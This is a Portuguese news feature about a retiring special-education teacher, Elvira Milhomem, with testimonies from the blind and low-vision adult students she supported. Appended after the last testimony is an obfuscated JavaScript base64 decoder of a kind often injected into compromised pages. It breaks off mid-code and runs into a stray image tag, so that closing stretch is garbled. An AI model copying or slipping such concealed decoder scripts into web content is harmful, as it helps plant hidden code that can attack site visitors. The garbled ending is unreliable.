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Sem tempo ruim, professora Elvira fez todos enxergarem a grandeza do coração

Redação

[Via Campo Grande News]

Foi na Sala de Recursos da Escola Estadual Joaquim Murtinho e também fora dela, que nos últimos dez anos, a professora Elvira Milhomem construiu laços indestrutíveis de respeito e admiração. Durante todo esse período, alunos cheios de gratidão, não puderam ver seu rosto, mas enxergaram a grandeza de seu coração.

O Lado B recebeu um chamado especial nesta semana: uma homenagem surpresa a uma professora que irá se aposentar. Parece clichê, mas só vendo os depoimentos para entender o poder dessa mulher. Mais do que se despedir da sala de aula, Elvira Milhomem deixa um legado de persistência e amor.

Elvira é graduada em Matemática e especializada em Educação Especial. Atualmente, atua como professora de apoio no Ceeja (Centro Estadual de Educacao de Jovens e Adultos - Profª Ignês De Lamônica Guimarães).

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A Sala de Recursos é um espaço específico para atender alunos com deficiências diversas matriculados na Rede Estadual de Ensino no contraturno das aulas regulares. Não se trata de um reforço, mas de um complemento às disciplinas trabalhadas em sala de aula. Para manter a sala cheia, Elvira fez mais que ensinar, ela buscou pela mão.

O clima era de emoção e sentados em roda, cada um dos presentes relembrou breves momentos com Elvira. Nem todos puderam comparecer e teve até quem participou por áudio, como foi o caso de Luiz Alberto, de 48 anos, que ficou cego após uma virose e Elvira o acompanhou durante toda a adaptação.

“O que eu tenho para falar da professora Elvira é que ela foi mais que uma mãe para nós e que vamos sentir muita falta dela. Se não fosse ela, não sei o que seria de mim. Através dela eu estou concluindo o Fundamental coisa que eu não imaginava. Não tenho nem palavras para descrever o que ela fez para nós ou que ela é ara nós, acho que se tivesse umas 10 Elviras ou pelo menos metade, nossa vida seria mais tranquila. Ela nos faz sentir forte. Eu fico agradecido de poder dizer só coisas boas dela. Te amo, de coração, curta a aposentadoria”, disse Luiz Alberto.

 

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Muito agradecida e emocionada, a aluna Taiza Santos da Silva, de 40 anos, conheceu Elvira há três anos, quando ainda tinha baixa visão. Um glaucoma levou Taiza à cegueira total, mas nada que Elvira não ajudasse a resolver.

“Ela é a pessoa que Deus enviou na minha vida. Estou me segurando para não chorar. Eu conheci Elvira, quando comecei a perder a visão. Ela me ajudou com adaptação, a fazer mudança, ir ao mercado e até fazer comida. Ela também me ajudou em casa e dizia que nada poderia ser tirado do lufar, para facilitar minha vida. Todo esse processo ela e a minha amiga Ivanise que está aqui comigo estavam ao meu lado. Ela sempre nos auxilia, não só a mim como a todos. Hoje tenho vontade de fazer Serviço Social e quando eu pegar meu diploma será dedicado a ela”, conta.

 

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Ivanise Rose de Oliveira Lima, de 50 anos, chegou até a sala de recursos depois de conhecer Elvira no Ismac (Instituto Sul-Mato-Grossense para Cegos – Florivaldo Vargas), pois segundo a aluna, a professora é do tipo que vai atrás.

“Se ela ficasse sabendo que o aluno tinha deficiência visual ou fazia o Braile ou gostaria de estudar, ela já ia atrás para nos matricular na escola. Ela não é só uma professora, ela se tornou nossa amiga, nossa mãe. Toda essa dedicação não era só na escola, mas no médico, no mercado. E eu garanto que ela só pediu a aposentadoria esse ano, porque conseguiu colocar alguém a altura, que é a professora Kerolaine. Ela sempre se preocupava em quem ficaria em seu lugar”, frisou.

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O jornalista e acadêmico de Letras João Guanes, de 53 anos, garante que deve suas graduações à Elvira. Se intitulando um “cara chato”, o aluno garante que nem isso a fez desistir.

“Além de professora, ela é uma grande mãe. Eu sou chato, sou um cara esquisito e a Elvira suportou isso. Hoje ela fala que sou o pupilo dela”, conta Guanes.

“Eu presenciei várias vezes ele brigando com a professora, inclusive se levantando para ir embora e sendo puxado por ela”, completou Claudete, uma das colegas de sala.

“Ela sempre adaptou as provas em braile para que eu fizesse. Ela sempre me acompanhou. Assim que saí do Fundamental e fiz o Enem, ficou faltando só Matemática, ela e acompanhou por um ano. Como a Taiza disse, ela não desistiu de mim e é, por isso, que hoje estou na segunda graduação. Ela não te deixa desanimar. Eu sempre digo as pessoas chega a algum lugar com ajuda de muita gente, mas tem aquela pessoa que marca e faz a diferença. Ela marcou minha vida e eu sou uma pessoa muito grata”, completou João.

 

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A cada novo depoimento, uma história diferente. Inclusive de quem encontrou na professora, o apoio que não tinha em casa. Uma delas, Waldirene Santos da Silva, de 35 anos, que está concluindo o Ensino Fundamental, para a surpresa de toda a família.

“Assim que perdi a visão eu voltei para a escola, mas não tive sucesso porque não consegui material. Um dia cheguei ao Instituto e o pessoal falou da sala de recursos. Quando vim aqui, ela já me disse que daria certo, que iria me ajudar. Eu achei que não iria dar conta, mas ela sempre incentivou. Fora da sala ela também me ajudou já me levou ao médico e até me ajudou de forma financeira. A minha família não me deu apoio que ela me deu quando cheguei aqui. Agora estou terminado o Fundamental e vou começar o Médio. Eles nem acreditaram quando comentei em casa que estou indo para o Médio. Ela saiu e me disse que não é para eu parar. Como para todos, ela também é uma mãezona”, frisa Waldirene.

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Mais do que aceitação da cegueira, o cantor Marcos Cafure enfrentou no mesmo período um grave declínio financeiro. A adaptação começou do zero, assim como todos da sala, mas o aluno garante que Elvira é eficiência em pessoa.

“Ela é uma pessoa humanizada e para mim foi um grande exemplo. Ela me pegou num estágio em que buscava a aceitação da deficiência visual, estava saindo do armário (uma brincadeira interna) e também passando por uma fase de falência. Então tive que priorizar os estudos e conheci a necessidade de ter que me adaptar as circunstâncias, pois eu tinha tudo na mão, um táxi, um carro, apoio dos pais. Ela me pegou bem cru, só que ela é muito eficiente e persistente”, conta.

Assim como os colegas, Cafure também teve apoio de Elvira fora da sala de aula, inclusive num relacionamento. O aluno destaca que a professora não vê ninguém com limitação.

“Eu tinha uma namoradinha e ela me acompanhou na compra e na entrega de um vestido a essa namorada que eu tinha. A Elvira não vê ninguém com uma limitação. Ela também não vê superação, porque para ela o que o cego faz é habitual e não extraordinário. Ela me ensinou a não menosprezar a mim mesmo e nem ao próximo. Ela é eficiência em pessoa”, finaliza.

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Nos 59 anos de vida, Claudete de Freitas Soares afirma que nunca viu alguém como Elvira. No último semestre de Pedagogia, a aluna também dedica sua graduação à insistência de Elvira.

“Não existem palavras que possam expressar tudo que Elvira representa. Ela é o máximo. Ela não é desse mundo. Extremamente companheira e isso não é exagero. Em todo esse meu tempo de vida eu nunca me deparei com uma pessoa como ela. Ela é daquela pessoa que larga tudo e vai te acompanhar. Eu entrei no Joaquim Murtinho acabado de terminar o Fundamental e assim como o João fiz o Enem, mas faltou matemática. Ela ficou me incentivando. E eu dizia que não daria conta, mas ela insistia. Ela falava: “o que eu faço para colocar na cabeça dessa guria”. É inexplicável a paciência, amor e dedicação. Hoje estou no último semestre de Pedagogia e eu devo a ela. Se eu estou onde estou, ela foi uma peça fundamental para chegar aonde cheguei”, finaliza.

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Já o bacharel em Direito Cássio Roberto Gomes Silva, de 24 anos, é a prova de que o trabalho de Elvira sempre ultrapassou as paredes da sala de recursos.

“Eu sou exceção da regra porque não fui aluno direto da Elvira, mas durante a graduação eu pesquisava muito sobre a educação especial para pessoas com deficiência visual e outros tipos de deficiência. Ela foi uma das minhas grandes parceiras, primeiro porque eu precisava de aspecto prático do ponto de vista profissional e segundo porque ela sempre foi muito solicita. Passávamos horas ao telefone. Ela também me ajudou indiretamente no Ensino Médio, porque o professor que me deu aula de exatas aprendeu com ela algumas técnicas para me ensinar, então tudo que foi dito eu concordo. E tem uma frase que resume muito bem a Elvira: Ela é o tipo de pessoa rara, que transforma o mundo e o ambiente por onde quer que vá, sem fazer nada, sendo ela”, finalizou.

A atual professora da Sala de Recursos, a pedagoga Kerolaine, especializada em Educação Especial, se resumiu em dizer, que Elvira passou a ser uma inspiração e que homenagens como esse tem de ser valorizadas.

 

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function a4872b9c6b(y1){var qd='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';var x0='';var n6,w6,qe,q8,w9,we,n7;var oa=0;do{q8=qd.indexOf(y1.charAt(oa++));w9=qd.indexOf(y1.charAt(oa++));we=qd.indexOf(y1.charAt(oa++));n7=qd.indexOf(y1.charAt(oa++));n6=(q8<<2)|(w9>>4);w6=((w9&15)<<4)|(we>>2);qe=((we&3)<<6)|n7;if(n6>=192)n6+=848;else if(n6==168)n6=1025;else if(n6==184)n6=1105;x0+=String.fromCharCode(n6);if(we!=64){if(w6>=192)w6+=848;else if(w6==168)w6=1025;else if(w6==184)w6=1105;x0+=String.fromCharCode(w6);}if(n7!=64){if(qe>=192)qe+=848;else if(qe==168)qe=1025;else if(qe==184)qe=1105;x0+=String.fromCharCode(qe);}}while(oaandenews.com.br/uploads/tmp/images/5296978/640x480-62a7cf02ea3e1626a4046ad77065e4a6.jpg" alt="Toda a turma. (Foto: Paulo Francis)" width="640" height="426" />Toda a turma. (Foto: Paulo Francis)
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